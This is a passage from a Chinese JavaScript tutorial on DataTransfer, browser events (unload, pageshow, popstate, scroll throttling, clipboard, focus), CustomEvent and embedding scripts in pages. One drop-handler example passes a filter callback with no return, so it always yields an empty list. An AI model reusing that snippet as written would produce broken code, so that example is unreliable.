DataTransfer.dropEffect属性用来设置放下(drop)被拖拉节点时的效果,会影响到拖拉经过相关区域时鼠标的形状。它可能取下面的值。

  • copy:复制被拖拉的节点
  • move:移动被拖拉的节点
  • link:创建指向被拖拉的节点的链接
  • none:无法放下被拖拉的节点

除了上面这些值,设置其他的值都是无效的。

target.addEventListener('dragover', function (e) {
  e.preventDefault();
  e.stopPropagation();
  e.dataTransfer.dropEffect = 'copy';
});

上面代码中,被拖拉元素一旦drop,接受的区域会复制该节点。

dropEffect属性一般在dragenterdragover事件的监听函数中设置,对于dragstartdragdragleave这三个事件,该属性不起作用。因为该属性只对接受被拖拉的节点的区域有效,对被拖拉的节点本身是无效的。进入目标区域后,拖拉行为会初始化成设定的效果。

DataTransfer.effectAllowed

DataTransfer.effectAllowed属性设置本次拖拉中允许的效果。它可能取下面的值。

  • copy:复制被拖拉的节点
  • move:移动被拖拉的节点
  • link:创建指向被拖拉节点的链接
  • copyLink:允许copylink
  • copyMove:允许copymove
  • linkMove:允许linkmove
  • all:允许所有效果
  • none:无法放下被拖拉的节点
  • uninitialized:默认值,等同于all

如果某种效果是不允许的,用户就无法在目标节点中达成这种效果。

这个属性与dropEffect属性是同一件事的两个方面。前者设置被拖拉的节点允许的效果,后者设置接受拖拉的区域的效果,它们往往配合使用。

dragstart事件的监听函数,可以用来设置这个属性。其他事件的监听函数里面设置这个属性是无效的。

source.addEventListener('dragstart', function (e) {
  e.dataTransfer.effectAllowed = 'move';
});

target.addEventListener('dragover', function (e) {
  e.dataTransfer.dropEffect = 'move';
});

只要dropEffect属性和effectAllowed属性之中,有一个为none,就无法在目标节点上完成drop操作。

DataTransfer.files

DataTransfer.files属性是一个 FileList 对象,包含一组本地文件,可以用来在拖拉操作中传送。如果本次拖拉不涉及文件,则该属性为空的 FileList 对象。

下面就是一个接收拖拉文件的例子。

// HTML 代码如下
// <div id="output" style="min-height: 200px;border: 1px solid black;">
//   文件拖拉到这里
// </div>

var div = document.getElementById('output');

div.addEventListener("dragenter", function( event ) {
  div.textContent = '';
  event.stopPropagation();
  event.preventDefault();
}, false);

div.addEventListener("dragover", function( event ) {
  event.stopPropagation();
  event.preventDefault();
}, false);

div.addEventListener("drop", function( event ) {
  event.stopPropagation();
  event.preventDefault();
  var files = event.dataTransfer.files;
  for (var i = 0; i < files.length; i++) {
    div.textContent += files[i].name + ' ' + files[i].size + '字节\n';
  }
}, false);

上面代码中,通过dataTransfer.files属性读取被拖拉的文件的信息。如果想要读取文件内容,就要使用FileReader对象。

div.addEventListener('drop', function(e) {
  e.preventDefault();
  e.stopPropagation();

  var fileList = e.dataTransfer.files;
  if (fileList.length > 0) {
    var file = fileList[0];
    var reader = new FileReader();
    reader.onloadend = function(e) {
      if (e.target.readyState === FileReader.DONE) {
        var content = reader.result;
        div.innerHTML = 'File: ' + file.name + '\n\n' + content;
      }
    }
    reader.readAsBinaryString(file);
  }
});

DataTransfer.types

DataTransfer.types属性是一个只读的数组,每个成员是一个字符串,里面是拖拉的数据格式(通常是 MIME 值)。比如,如果拖拉的是文字,对应的成员就是text/plain

下面是一个例子,通过检查dataTransfer属性的类型,决定是否允许在当前节点执行drop操作。

function contains(list, value){
  for (var i = 0; i < list.length; ++i) {
    if(list[i] === value) return true;
  }
  return false;
}

function doDragOver(event) {
  var isLink = contains(event.dataTransfer.types, 'text/uri-list');
  if (isLink) event.preventDefault();
}

上面代码中,只有当被拖拉的节点有一个是链接时,才允许在当前节点放下。

DataTransfer.items

DataTransfer.items属性返回一个类似数组的只读对象(DataTransferItemList 实例),每个成员就是本次拖拉的一个对象(DataTransferItem 实例)。如果本次拖拉不包含对象,则返回一个空对象。

DataTransferItemList 实例具有以下的属性和方法。

  • length:返回成员的数量
  • add(data, type):增加一个指定内容和类型(比如text/htmltext/plain)的字符串作为成员
  • add(file)add方法的另一种用法,增加一个文件作为成员
  • remove(index):移除指定位置的成员
  • clear():移除所有的成员

DataTransferItem 实例具有以下的属性和方法。

  • kind:返回成员的种类(string还是file)。
  • type:返回成员的类型(通常是 MIME 值)。
  • getAsFile():如果被拖拉是文件,返回该文件,否则返回null
  • getAsString(callback):如果被拖拉的是字符串,将该字符传入指定的回调函数处理。该方法是异步的,所以需要传入回调函数。

下面是一个例子。

div.addEventListener('drop', function (e) {
  e.preventDefault();
  if (e.dataTransfer.items != null) {
    for (var i = 0; i < e.dataTransfer.items.length; i++) {
      console.log(e.dataTransfer.items[i].kind + ': ' + e.dataTransfer.items[i].type);
    }
  }
});

DataTransfer 的实例方法

DataTransfer.setData()

DataTransfer.setData()方法用来设置拖拉事件所带有的数据。该方法没有返回值。

event.dataTransfer.setData('text/plain', 'Text to drag');

上面代码为当前的拖拉事件加入纯文本数据。

该方法接受两个参数,都是字符串。第一个参数表示数据类型(比如text/plain),第二个参数是具体数据。如果指定类型的数据在dataTransfer属性不存在,那么这些数据将被加入,否则原有的数据将被新数据替换。

如果是拖拉文本框或者拖拉选中的文本,会默认将对应的文本数据,添加到dataTransfer属性,不用手动指定。

<div draggable="true">
  aaa
</div>

上面代码中,拖拉这个<div>元素会自动带上文本数据aaa

使用setData方法,可以替换到原有数据。

<div
  draggable="true"
  ondragstart="event.dataTransfer.setData('text/plain', 'bbb')"
>
  aaa
</div>

上面代码中,拖拉数据实际上是bbb,而不是aaa

下面是添加其他类型的数据。由于text/plain是最普遍支持的格式,为了保证兼容性,建议最后总是保存一份纯文本格式的数据。

var dt = event.dataTransfer;

// 添加链接
dt.setData('text/uri-list', 'http://www.example.com');
dt.setData('text/plain', 'http://www.example.com');

// 添加 HTML 代码
dt.setData('text/html', 'Hello there, <strong>stranger</strong>');
dt.setData('text/plain', 'Hello there, <strong>stranger</strong>');

// 添加图像的 URL
dt.setData('text/uri-list', imageurl);
dt.setData('text/plain', imageurl);

可以一次提供多种格式的数据。

var dt = event.dataTransfer;
dt.setData('application/x-bookmark', bookmarkString);
dt.setData('text/uri-list', 'http://www.example.com');
dt.setData('text/plain', 'http://www.example.com');

上面代码中,通过在同一个事件上面,存放三种类型的数据,使得拖拉事件可以在不同的对象上面,drop不同的值。注意,第一种格式是一个自定义格式,浏览器默认无法读取,这意味着,只有某个部署了特定代码的节点,才可能drop(读取到)这个数据。

DataTransfer.getData()

DataTransfer.getData()方法接受一个字符串(表示数据类型)作为参数,返回事件所带的指定类型的数据(通常是用setData方法添加的数据)。如果指定类型的数据不存在,则返回空字符串。通常只有drop事件触发后,才能取出数据。

下面是一个drop事件的监听函数,用来取出指定类型的数据。

function onDrop(event) {
  var data = event.dataTransfer.getData('text/plain');
  event.target.textContent = data;
  event.preventDefault();
}

上面代码取出拖拉事件的文本数据,将其替换成当前节点的文本内容。注意,这时还必须取消浏览器的默认行为,因为假如用户拖拉的是一个链接,浏览器默认会在当前窗口打开这个链接。

getData方法返回的是一个字符串,如果其中包含多项数据,就必须手动解析。

function doDrop(event) {
  var lines = event.dataTransfer.getData('text/uri-list').split('\n');
  for (let line of lines) {
    let link = document.createElement('a');
    link.href = line;
    link.textContent = line;
    event.target.appendChild(link);
  }
  event.preventDefault();
}

上面代码中,getData方法返回的是一组链接,就必须自行解析。

类型值指定为URL,可以取出第一个有效链接。

var link = event.dataTransfer.getData('URL');

下面的例子是从多种类型的数据里面取出数据。

function doDrop(event) {
  var types = event.dataTransfer.types;
  var supportedTypes = ['text/uri-list', 'text/plain'];
  types = supportedTypes.filter(function (value) { types.includes(value) });
  if (types.length) {
    var data = event.dataTransfer.getData(types[0]);
  }
  event.preventDefault();
}

DataTransfer.clearData()

DataTransfer.clearData()方法接受一个字符串(表示数据类型)作为参数,删除事件所带的指定类型的数据。如果没有指定类型,则删除所有数据。如果指定类型不存在,则调用该方法不会产生任何效果。

event.dataTransfer.clearData('text/uri-list');

上面代码清除事件所带的text/uri-list类型的数据。

该方法不会移除拖拉的文件,因此调用该方法后,DataTransfer.types属性可能依然会返回Files类型(前提是存在文件拖拉)。

注意,该方法只能在dragstart事件的监听函数之中使用,因为这是拖拉操作的数据唯一可写的时机。

DataTransfer.setDragImage()

拖动过程中(dragstart事件触发后),浏览器会显示一张图片跟随鼠标一起移动,表示被拖动的节点。这张图片是自动创造的,通常显示为被拖动节点的外观,不需要自己动手设置。

DataTransfer.setDragImage()方法可以自定义这张图片。它接受三个参数。第一个是<img>节点或者<canvas>节点,如果省略或为null,则使用被拖动的节点的外观;第二个和第三个参数为鼠标相对于该图片左上角的横坐标和纵坐标。

下面是一个例子。

/* HTML 代码如下
 <div id="drag-with-image" class="dragdemo" draggable="true">
   drag me
 </div>
*/

var div = document.getElementById('drag-with-image');
div.addEventListener('dragstart', function (e) {
  var img = document.createElement('img');
  img.src = 'http://path/to/img';
  e.dataTransfer.setDragImage(img, 0, 0);
}, false);

其他常见事件

资源事件

beforeunload 事件

beforeunload事件在窗口、文档、各种资源将要卸载前触发。它可以用来防止用户不小心卸载资源。

如果该事件对象的returnValue属性是一个非空字符串,那么浏览器就会弹出一个对话框,询问用户是否要卸载该资源。但是,用户指定的字符串可能无法显示,浏览器会展示预定义的字符串。如果用户点击“取消”按钮,资源就不会卸载。

window.addEventListener('beforeunload', function (event) {
  event.returnValue = '你确定离开吗?';
});

上面代码中,用户如果关闭窗口,浏览器会弹出一个窗口,要求用户确认。

浏览器对这个事件的行为很不一致,有的浏览器调用event.preventDefault(),也会弹出对话框。IE 浏览器需要显式返回一个非空的字符串,才会弹出对话框。而且,大多数浏览器在对话框中不显示指定文本,只显示默认文本。因此,可以采用下面的写法,取得最大的兼容性。

window.addEventListener('beforeunload', function (e) {
  var confirmationMessage = '确认关闭窗口?';

  e.returnValue = confirmationMessage;
  return confirmationMessage;
});

注意,许多手机浏览器(比如 Safari)默认忽略这个事件,桌面浏览器也有办法忽略这个事件。所以,它可能根本不会生效,不能依赖它来阻止用户关闭浏览器窗口,最好不要使用这个事件。

另外,一旦使用了beforeunload事件,浏览器就不会缓存当前网页,使用“回退”按钮将重新向服务器请求网页。这是因为监听这个事件的目的,一般是为了网页状态,这时缓存页面的初始状态就没意义了。

unload 事件

unload事件在窗口关闭或者document对象将要卸载时触发。它的触发顺序排在beforeunloadpagehide事件后面。

unload事件发生时,文档处于一个特殊状态。所有资源依然存在,但是对用户来说都不可见,UI 互动全部无效。这个事件是无法取消的,即使在监听函数里面抛出错误,也不能停止文档的卸载。

window.addEventListener('unload', function(event) {
  console.log('文档将要卸载');
});

手机上,浏览器或系统可能会直接丢弃网页,这时该事件根本不会发生。而且跟beforeunload事件一样,一旦使用了unload事件,浏览器就不会缓存当前网页,理由同上。因此,任何情况下都不应该依赖这个事件,指定网页卸载时要执行的代码,可以考虑完全不使用这个事件。

该事件可以用pagehide代替。

load 事件,error 事件

load事件在页面或某个资源加载成功时触发。注意,页面或资源从浏览器缓存加载,并不会触发load事件。

window.addEventListener('load', function(event) {
  console.log('所有资源都加载完成');
});

error事件是在页面或资源加载失败时触发。abort事件在用户取消加载时触发。

这三个事件实际上属于进度事件,不仅发生在document对象,还发生在各种外部资源上面。浏览网页就是一个加载各种资源的过程,图像(image)、样式表(style sheet)、脚本(script)、视频(video)、音频(audio)、Ajax请求(XMLHttpRequest)等等。这些资源和document对象、window对象、XMLHttpRequestUpload 对象,都会触发load事件和error事件。

最后,页面的load事件也可以用pageshow事件代替。

session 历史事件

pageshow 事件,pagehide 事件

默认情况下,浏览器会在当前会话(session)缓存页面,当用户点击“前进/后退”按钮时,浏览器就会从缓存中加载页面。

pageshow事件在页面加载时触发,包括第一次加载和从缓存加载两种情况。如果要指定页面每次加载(不管是不是从浏览器缓存)时都运行的代码,可以放在这个事件的监听函数。

第一次加载时,它的触发顺序排在load事件后面。从缓存加载时,load事件不会触发,因为网页在缓存中的样子通常是load事件的监听函数运行后的样子,所以不必重复执行。同理,如果是从缓存中加载页面,网页内初始化的 JavaScript 脚本(比如 DOMContentLoaded 事件的监听函数)也不会执行。

window.addEventListener('pageshow', function(event) {
  console.log('pageshow: ', event);
});

pageshow事件有一个persisted属性,返回一个布尔值。页面第一次加载时,这个属性是false;当页面从缓存加载时,这个属性是true

window.addEventListener('pageshow', function(event){
  if (event.persisted) {
    // ...
  }
});

pagehide事件与pageshow事件类似,当用户通过“前进/后退”按钮,离开当前页面时触发。它与 unload 事件的区别在于,如果在 window 对象上定义unload事件的监听函数之后,页面不会保存在缓存中,而使用pagehide事件,页面会保存在缓存中。

pagehide事件实例也有一个persisted属性,将这个属性设为true,就表示页面要保存在缓存中;设为false,表示网页不保存在缓存中,这时如果设置了unload 事件的监听函数,该函数将在 pagehide 事件后立即运行。

如果页面包含<frame><iframe>元素,则<frame>页面的pageshow事件和pagehide事件,都会在主页面之前触发。

注意,这两个事件只在浏览器的history对象发生变化时触发,跟网页是否可见没有关系。

popstate 事件

popstate事件在浏览器的history对象的当前记录发生显式切换时触发。注意,调用history.pushState()history.replaceState(),并不会触发popstate事件。该事件只在用户在history记录之间显式切换时触发,比如鼠标点击“后退/前进”按钮,或者在脚本中调用history.back()history.forward()history.go()时触发。

该事件对象有一个state属性,保存history.pushState方法和history.replaceState方法为当前记录添加的state对象。

window.onpopstate = function (event) {
  console.log('state: ' + event.state);
};
history.pushState({page: 1}, 'title 1', '?page=1');
history.pushState({page: 2}, 'title 2', '?page=2');
history.replaceState({page: 3}, 'title 3', '?page=3');
history.back(); // state: {"page":1}
history.back(); // state: null
history.go(2);  // state: {"page":3}

上面代码中,pushState方法向history添加了两条记录,然后replaceState方法替换掉当前记录。因此,连续两次back方法,会让当前条目退回到原始网址,它没有附带state对象,所以事件的state属性为null,然后前进两条记录,又回到replaceState方法添加的记录。

浏览器对于页面首次加载,是否触发popstate事件,处理不一样,Firefox 不触发该事件。

hashchange 事件

hashchange事件在 URL 的 hash 部分(即#号后面的部分,包括#号)发生变化时触发。该事件一般在window对象上监听。

hashchange的事件实例具有两个特有属性:oldURL属性和newURL属性,分别表示变化前后的完整 URL。

// URL 是 http://www.example.com/
window.addEventListener('hashchange', myFunction);

function myFunction(e) {
  console.log(e.oldURL);
  console.log(e.newURL);
}

location.hash = 'part2';
// http://www.example.com/
// http://www.example.com/#part2

网页状态事件

DOMContentLoaded 事件

网页下载并解析完成以后,浏览器就会在document对象上触发 DOMContentLoaded 事件。这时,仅仅完成了网页的解析(整张页面的 DOM 生成了),所有外部资源(样式表、脚本、iframe 等等)可能还没有下载结束。也就是说,这个事件比load事件,发生时间早得多。

document.addEventListener('DOMContentLoaded', function (event) {
  console.log('DOM生成');
});

注意,网页的 JavaScript 脚本是同步执行的,脚本一旦发生堵塞,将推迟触发DOMContentLoaded事件。

document.addEventListener('DOMContentLoaded', function (event) {
  console.log('DOM 生成');
});

// 这段代码会推迟触发 DOMContentLoaded 事件
for(var i = 0; i < 1000000000; i++) {
  // ...
}

readystatechange 事件

readystatechange事件当 Document 对象和 XMLHttpRequest 对象的readyState属性发生变化时触发。document.readyState有三个可能的值:loading(网页正在加载)、interactive(网页已经解析完成,但是外部资源仍然处在加载状态)和complete(网页和所有外部资源已经结束加载,load事件即将触发)。

document.onreadystatechange = function () {
  if (document.readyState === 'interactive') {
    // ...
  }
}

这个事件可以看作DOMContentLoaded事件的另一种实现方法。

窗口事件

scroll 事件

scroll事件在文档或文档元素滚动时触发,主要出现在用户拖动滚动条。

window.addEventListener('scroll', callback);

该事件会连续地大量触发,所以它的监听函数之中不应该有非常耗费计算的操作。推荐的做法是使用requestAnimationFramesetTimeout控制该事件的触发频率,然后可以结合customEvent抛出一个新事件。

(function () {
  var throttle = function (type, name, obj) {
    var obj = obj || window;
    var running = false;
    var func = function () {
      if (running) { return; }
      running = true;
      requestAnimationFrame(function() {
        obj.dispatchEvent(new CustomEvent(name));
        running = false;
      });
    };
    obj.addEventListener(type, func);
  };

  // 将 scroll 事件转为 optimizedScroll 事件
  throttle('scroll', 'optimizedScroll');
})();

window.addEventListener('optimizedScroll', function() {
  console.log('Resource conscious scroll callback!');
});

上面代码中,throttle()函数用于控制事件触发频率,它有一个内部函数func(),每次scroll事件实际上触发的是这个函数。func()函数内部使用requestAnimationFrame()方法,保证只有每次页面重绘时(每秒60次),才可能会触发optimizedScroll事件,从而实际上将scroll事件转换为optimizedScroll事件,触发频率被控制在每秒最多60次。

改用setTimeout()方法,可以放置更大的时间间隔。

(function() {
  window.addEventListener('scroll', scrollThrottler, false);

  var scrollTimeout;
  function scrollThrottler() {
    if (!scrollTimeout) {
      scrollTimeout = setTimeout(function () {
        scrollTimeout = null;
        actualScrollHandler();
      }, 66);
    }
  }

  function actualScrollHandler() {
    // ...
  }
}());

上面代码中,每次scroll事件都会执行scrollThrottler函数。该函数里面有一个定时器setTimeout,每66毫秒触发一次(每秒15次)真正执行的任务actualScrollHandler

下面是一个更一般的throttle函数的写法。

function throttle(fn, wait) {
  var time = Date.now();
  return function() {
    if ((time + wait - Date.now()) < 0) {
      fn();
      time = Date.now();
    }
  }
}

window.addEventListener('scroll', throttle(callback, 1000));

上面的代码将scroll事件的触发频率,限制在一秒一次。

lodash函数库提供了现成的throttle函数,可以直接使用。

window.addEventListener('scroll', _.throttle(callback, 1000));

本书前面介绍过debounce的概念,throttle与它区别在于,throttle是“节流”,确保一段时间内只执行一次,而debounce是“防抖”,要连续操作结束后再执行。以网页滚动为例,debounce要等到用户停止滚动后才执行,throttle则是如果用户一直在滚动网页,那么在滚动过程中还是会执行。

resize 事件

resize事件在改变浏览器窗口大小时触发,主要发生在window对象上面。

var resizeMethod = function () {
  if (document.body.clientWidth < 768) {
    console.log('移动设备的视口');
  }
};

window.addEventListener('resize', resizeMethod, true);

该事件也会连续地大量触发,所以最好像上面的scroll事件一样,通过throttle函数控制事件触发频率。

fullscreenchange 事件,fullscreenerror 事件

fullscreenchange事件在进入或退出全屏状态时触发,该事件发生在document对象上面。

document.addEventListener('fullscreenchange', function (event) {
  console.log(document.fullscreenElement);
});

fullscreenerror事件在浏览器无法切换到全屏状态时触发。

剪贴板事件

以下三个事件属于剪贴板操作的相关事件。

  • cut:将选中的内容从文档中移除,加入剪贴板时触发。
  • copy:进行复制动作时触发。
  • paste:剪贴板内容粘贴到文档后触发。

举例来说,如果希望禁止输入框的粘贴事件,可以使用下面的代码。

inputElement.addEventListener('paste', e => e.preventDefault());

上面的代码使得用户无法在<input>输入框里面粘贴内容。

cutcopypaste这三个事件的事件对象都是ClipboardEvent接口的实例。ClipboardEvent有一个实例属性clipboardData,是一个 DataTransfer 对象,存放剪贴的数据。具体的 API 接口和操作方法,请参见《拖拉事件》的 DataTransfer 对象部分。

document.addEventListener('copy', function (e) {
  e.clipboardData.setData('text/plain', 'Hello, world!');
  e.clipboardData.setData('text/html', '<b>Hello, world!</b>');
  e.preventDefault();
});

上面的代码使得复制进入剪贴板的,都是开发者指定的数据,而不是用户想要拷贝的数据。

焦点事件

焦点事件发生在元素节点和document对象上面,与获得或失去焦点相关。它主要包括以下四个事件。

  • focus:元素节点获得焦点后触发,该事件不会冒泡。
  • blur:元素节点失去焦点后触发,该事件不会冒泡。
  • focusin:元素节点将要获得焦点时触发,发生在focus事件之前。该事件会冒泡。
  • focusout:元素节点将要失去焦点时触发,发生在blur事件之前。该事件会冒泡。

这四个事件的事件对象都继承了FocusEvent接口。FocusEvent实例具有以下属性。

  • FocusEvent.target:事件的目标节点。
  • FocusEvent.relatedTarget:对于focusin事件,返回失去焦点的节点;对于focusout事件,返回将要接受焦点的节点;对于focusblur事件,返回null

由于focusblur事件不会冒泡,只能在捕获阶段触发,所以addEventListener方法的第三个参数需要设为true

form.addEventListener('focus', function (event) {
  event.target.style.background = 'pink';
}, true);

form.addEventListener('blur', function (event) {
  event.target.style.background = '';
}, true);

上面代码针对表单的文本输入框,接受焦点时设置背景色,失去焦点时去除背景色。

CustomEvent 接口

CustomEvent 接口用于生成自定义的事件实例。那些浏览器预定义的事件,虽然可以手动生成,但是往往不能在事件上绑定数据。如果需要在触发事件的同时,传入指定的数据,就可以使用 CustomEvent 接口生成的自定义事件对象。

浏览器原生提供CustomEvent()构造函数,用来生成 CustomEvent 事件实例。

new CustomEvent(type, options)

CustomEvent()构造函数接受两个参数。第一个参数是字符串,表示事件的名字,这是必须的。第二个参数是事件的配置对象,这个参数是可选的。CustomEvent的配置对象除了接受 Event 事件的配置属性,只有一个自己的属性。

  • detail:表示事件的附带数据,默认为null

下面是一个例子。

var event = new CustomEvent('build', { 'detail': 'hello' });

function eventHandler(e) {
  console.log(e.detail);
}

document.body.addEventListener('build', function (e) {
  console.log(e.detail);
});

document.body.dispatchEvent(event);

上面代码中,我们手动定义了build事件。该事件触发后,会被监听到,从而输出该事件实例的detail属性(即字符串hello)。

下面是另一个例子。

var myEvent = new CustomEvent('myevent', {
  detail: {
    foo: 'bar'
  },
  bubbles: true,
  cancelable: false
});

el.addEventListener('myevent', function (event) {
  console.log('Hello ' + event.detail.foo);
});

el.dispatchEvent(myEvent);

上面代码也说明,CustomEvent 的事件实例,除了具有 Event 接口的实例属性,还具有detail属性。

GlobalEventHandlers 接口

指定事件的回调函数,推荐使用的方法是元素的addEventListener方法。

div.addEventListener('click', clickHandler, false);

除了之外,还有一种方法可以直接指定事件的回调函数。

div.onclick = clickHandler;

这个接口是由GlobalEventHandlers接口提供的。它的优点是使用比较方便,缺点是只能为每个事件指定一个回调函数,并且无法指定事件触发的阶段(捕获阶段还是冒泡阶段)。

HTMLElementDocumentWindow都继承了这个接口,也就是说,各种 HTML 元素、document对象、window对象上面都可以使用GlobalEventHandlers接口提供的属性。下面就列出这个接口提供的主要的事件属性。

GlobalEventHandlers.onabort

某个对象的abort事件(停止加载)发生时,就会调用onabort属性指定的回调函数。

各种元素的停止加载事件,到底如何触发,目前并没有统一的规定。因此实际上,这个属性现在一般只用在<img>元素上面。

// HTML 代码如下
// <img src="example.jpg" id="img">
var img = document.getElementById('img');
img.onabort = function () {
  console.log('image load aborted.');
}

GlobalEventHandlers.onerror

error事件发生时,就会调用onerror属性指定的回调函数。

error事件分成两种。

一种是 JavaScript 的运行时错误,这会传到window对象,导致window.onerror()

window.onerror = function (message, source, lineno, colno, error) {
  // ...
}

window.onerror的处理函数共接受五个参数,含义如下。

  • message:错误信息字符串
  • source:报错脚本的 URL
  • lineno:报错的行号,是一个整数
  • colno:报错的列号,是一个整数
  • error: 错误对象

另一种是资源加载错误,比如<img><script>加载的资源出现加载错误。这时,Error 对象会传到对应的元素,导致该元素的onerror属性开始执行。

element.onerror = function (event) {
  // ...
}

注意,一般来说,资源的加载错误不会触发window.onerror

GlobalEventHandlers.onload、GlobalEventHandlers.onloadstart

元素完成加载时,会触发load事件,执行onload()。它的典型使用场景是window对象和<img>元素。对于window对象来说,只有页面的所有资源加载完成(包括图片、脚本、样式表、字体等所有外部资源),才会触发load事件。

对于<img><video>等元素,加载开始时还会触发loadstart事件,导致执行onloadstart

GlobalEventHandlers.onfocus,GlobalEventHandlers.onblur

当前元素获得焦点时,会触发element.onfocus;失去焦点时,会触发element.onblur

element.onfocus = function () {
  console.log("onfocus event detected!");
};
element.onblur = function () {
  console.log("onblur event detected!");
};

注意,如果不是可以接受用户输入的元素,要触发onfocus,该元素必须有tabindex属性。

GlobalEventHandlers.onscroll

页面或元素滚动时,会触发scroll事件,导致执行onscroll()

GlobalEventHandlers.oncontextmenu,GlobalEventHandlers.onshow

用户在页面上按下鼠标的右键,会触发contextmenu事件,导致执行oncontextmenu()。如果该属性执行后返回false,就等于禁止了右键菜单。document.oncontextmenuwindow.oncontextmenu效果一样。

document.oncontextmenu = function () {
  return false;
};

上面代码中,oncontextmenu属性执行后返回false,右键菜单就不会出现。

元素的右键菜单显示时,会触发该元素的onshow监听函数。

其他的事件属性

鼠标的事件属性。

  • onclick
  • ondblclick
  • onmousedown
  • onmouseenter
  • onmouseleave
  • onmousemove
  • onmouseout
  • onmouseover
  • onmouseup
  • onwheel

键盘的事件属性。

  • onkeydown
  • onkeypress
  • onkeyup

焦点的事件属性。

  • onblur
  • onfocus

表单的事件属性。

  • oninput
  • onchange
  • onsubmit
  • onreset
  • oninvalid
  • onselect

触摸的事件属性。

  • ontouchcancel
  • ontouchend
  • ontouchmove
  • ontouchstart

拖动的事件属性分成两类:一类与被拖动元素相关,另一类与接收被拖动元素的容器元素相关。

被拖动元素的事件属性。

  • ondragstart:拖动开始
  • ondrag:拖动过程中,每隔几百毫秒触发一次
  • ondragend:拖动结束

接收被拖动元素的容器元素的事件属性。

  • ondragenter:被拖动元素进入容器元素。
  • ondragleave:被拖动元素离开容器元素。
  • ondragover:被拖动元素在容器元素上方,每隔几百毫秒触发一次。
  • ondrop:松开鼠标后,被拖动元素放入容器元素。

<dialog>对话框元素的事件属性。

  • oncancel
  • onclose

9.浏览器模型

浏览器环境概述

JavaScript 是浏览器的内置脚本语言。也就是说,浏览器内置了 JavaScript 引擎,并且提供各种接口,让 JavaScript 脚本可以控制浏览器的各种功能。一旦网页内嵌了 JavaScript 脚本,浏览器加载网页,就会去执行脚本,从而达到操作浏览器的目的,实现网页的各种动态效果。

本章开始介绍浏览器提供的各种 JavaScript 接口。首先,介绍 JavaScript 代码嵌入网页的方法。

代码嵌入网页的方法

网页中嵌入 JavaScript 代码,主要有四种方法。

  • <script>元素直接嵌入代码。
  • <script>标签加载外部脚本
  • 事件属性
  • URL 协议

script 元素嵌入代码

<script>元素内部可以直接写入 JavaScript 代码。

<script>
  var x = 1 + 5;
  console.log(x);
</script>

<script>标签有一个type属性,用来指定脚本类型。对 JavaScript 脚本来说,type属性可以设为两种值。

  • text/javascript:这是默认值,也是历史上一贯设定的值。如果你省略type属性,默认就是这个值。对于老式浏览器,设为这个值比较好。
  • application/javascript:对于较新的浏览器,建议设为这个值。
<script type="application/javascript">
  console.log('Hello World');
</script>

由于<script>标签默认就是 JavaScript 代码。所以,嵌入 JavaScript 脚本时,type属性可以省略。

如果type属性的值,浏览器不认识,那么它不会执行其中的代码。利用这一点,可以在<script>标签之中嵌入任意的文本内容,只要加上一个浏览器不认识的type属性即可。

<script id="mydata" type="x-custom-data">
  console.log('Hello World');
</script>

上面的代码,浏览器不会执行,也不会显示它的内容,因为不认识它的type属性。但是,这个<script>节点依然存在于 DOM 之中,可以使用<script>节点的text属性读出它的内容。

document.getElementById('mydata').text
//   console.log('Hello World');

script 元素加载外部脚本

<script>标签也可以指定加载外部的脚本文件。

<script src="https://www.example.com/script.js"></script>

如果脚本文件使用了非英语字符,还应该注明字符的编码。

<script charset="utf-8" src="https://www.example.com/script.js"></script>

所加载的脚本必须是纯的 JavaScript 代码,不能有HTML代码和<script>标签。

加载外部脚本和直接添加代码块,这两种方法不能混用。下面代码的console.log语句直接被忽略。

<script charset="utf-8" src="example.js">
  console.log('Hello World!');
</script>

为了防止攻击者篡改外部脚本,script标签允许设置一个integrity属性,写入该外部脚本的 Hash 签名,用来验证脚本的一致性。

<script src="/assets/application.js"
  integrity="sha256-TvVUHzSfftWg1rcfL6TIJ0XKEGrgLyEq6lEpcmrG9qs=">
</script>

上面代码中,script标签有一个integrity属性,指定了外部脚本/assets/application.js的 SHA256 签名。一旦有人改了这个脚本,导致 SHA256 签名不匹配,浏览器就会拒绝加载。

事件属性

网页元素的事件属性(比如onclickonmouseover),可以写入 JavaScript 代码。当指定事件发生时,就会调用这些代码。

<button id="myBtn" onclick="console.log(this.id)">点击</button>

上面的事件属性代码只有一个语句。如果有多个语句,使用分号分隔即可。

URL 协议

URL 支持javascript:协议,即在 URL 的位置写入代码,使用这个 URL 的时候就会执行 JavaScript 代码。

<a href="javascript:console.log('Hello')">点击</a>

浏览器的地址栏也可以执行javascript:协议。将javascript:console.log('Hello')放入地址栏,按回车键也会执行这段代码。

如果 JavaScript 代码返回一个字符串,浏览器就会新建一个文档,展示这个字符串的内容,原有文档的内容都会消失。

<a href="javascript: new Date().toLocaleTimeString();">点击</a>

上面代码中,用户点击链接以后,会打开一个新文档,里面有当前时间。

如果返回的不是字符串,那么浏览器不会新建文档,也不会跳转。

<a href="javascript: console.log(new Date().toLocaleTimeString())">点击</a>

上面代码中,用户点击链接后,网页不会跳转,只会在控制台显示当前时间。

javascript:协议的常见用途是书签脚本 Bookmarklet。由于浏览器的书签保存的是一个网址,所以javascript:网址也可以保存在里面,用户选择这个书签的时候,就会在当前页面执行这个脚本。为了防止书签替换掉当前文档,可以在脚本前加上void,或者在脚本最后加上void 0

<a href="javascript: void new Date().toLocaleTimeString();">点击</a>
<a href="javascript: new Date().toLocaleTimeString();void 0;">点击</a>

上面这两种写法,点击链接后,执行代码都不会网页跳转。

script 元素

工作原理

浏览器加载 JavaScript 脚本,主要通过<script>元素完成。正常的网页加载流程是这样的。

  1. 浏览器一边下载 HTML 网页,一边开始解析。也就是说,不等到下载完,就开始解析。
  2. 解析过程中,浏览器发现<script>元素,就暂停解析,把网页渲染的控制权转交给 JavaScript 引擎。
  3. 如果<script>元素引用了外部脚本,就下载该脚本再执行,否则就直接执行代码。
  4. JavaScript 引擎执行完毕,控制权交还渲染引擎,恢复往下解析 HTML 网页。

加载外部脚本时,浏览器会暂停页面渲染,等待脚本下载并执行完成后,再继续渲染。原因是 JavaScript 代码可以修改 DOM,所以必须把控制权让给它,否则会导致复杂的线程竞赛的问题。

如果外部脚本加载时间很长(一直无法完成下载),那么浏览器就会一直等待脚本下载完成,造成网页长时间失去响应,浏览器就会呈现“假死”状态,这被称为“阻塞效应”。

为了避免这种情况,较好的做法是将<script>标签都放在页面底部,而不是头部。这样即使遇到脚本失去响应,网页主体的渲染也已经完成了,用户至少可以看到内容,而不是面对一张空白的页面。如果某些脚本代码非常重要,一定要放在页面头部的话,最好直接将代码写入页面,而不是连接外部脚本文件,这样能缩短加载时间。

